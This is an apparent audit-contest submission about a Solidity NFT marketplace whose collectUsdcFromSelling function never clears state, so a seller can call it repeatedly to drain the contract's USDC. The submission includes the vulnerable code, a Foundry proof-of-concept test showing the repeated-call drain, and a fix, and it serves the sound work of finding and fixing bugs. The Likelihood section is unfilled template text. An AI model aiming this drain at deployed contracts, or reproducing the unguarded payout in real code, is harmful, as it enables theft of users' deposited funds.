NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

collectUsdcFromSelling never clears state after payout, allowing infinite re-calls that drain the entire contract USDC balance

Author Revealed upon completion

collectUsdcFromSelling never clears state after payout, allowing infinite re-calls that drain the entire contract USDC balance

Description

  • When a seller's NFT is bought, collectUsdcFromSelling is intended to transfer the sale proceeds (price - fees) plus the minting collateral back to the seller exactly once. However, the function never zeros collateralForMinting[listing.tokenId], never clears listing.price or listing.seller, and has no "collected" flag. The function is infinitely re-callable, paying the seller the full amount on every invocation until the contract's USDC balance is emptied.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId]; // never zeroed
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
​
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller); // pays out on every call
@> // No state is cleared — listing.price, listing.seller, collateralForMinting all persist
}

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Complete contract insolvency, attacker drains all deposited USDC including other users' collateral and uncollected proceeds

totalFeesCollected inflates beyond actual fees on each call, eventually causing withdrawFees() to revert when it attempts to transfer more than the remaining balance


  • Victims permanently lose their minting collateral and sale proceeds with no recovery path

Proof of Concept

function test_NM001_RepeatedCollectDrainsContract() public {
// Setup: 5 users mint NFTs, each depositing 10 USDC collateral (50 USDC total in contract)
address alice = makeAddr("alice");
address[] memory victims = new address[](4);
for (uint i = 0; i < 4; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
_mintAndDepositCollateral(victims[i], i + 2); // tokenIds 2-5
}
​
// Alice mints tokenId=1, lists at 10 USDC, Bob buys
_mintAndDepositCollateral(alice, 1);
vm.prank(alice);
nftDealers.list(1, 10e6);
address bob = makeAddr("bob");
deal(address(usdc), bob, 10e6);
vm.startPrank(bob);
usdc.approve(address(nftDealers), 10e6);
nftDealers.buy(1);
vm.stopPrank();
​
// Alice collects legitimately — then keeps calling
uint256 balanceBefore = usdc.balanceOf(alice);
vm.startPrank(alice);
nftDealers.collectUsdcFromSelling(1); // 1st call — legitimate
nftDealers.collectUsdcFromSelling(1); // 2nd call — theft
nftDealers.collectUsdcFromSelling(1); // 3rd call — theft
nftDealers.collectUsdcFromSelling(1); // 4th call — theft
vm.stopPrank();
​
uint256 aliceGain = usdc.balanceOf(alice) - balanceBefore;
uint256 contractBalance = usdc.balanceOf(address(nftDealers));
​
// Alice extracted ~59.8 USDC from a 10 USDC sale
assertGt(aliceGain, 50e6);
// Contract cannot cover victims' 40 USDC in collateral
assertLt(contractBalance, 40e6);
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ // Clear state BEFORE transfers (CEI pattern)
+ collateralForMinting[listing.tokenId] = 0;
+ delete s_listings[_listingId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
​
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!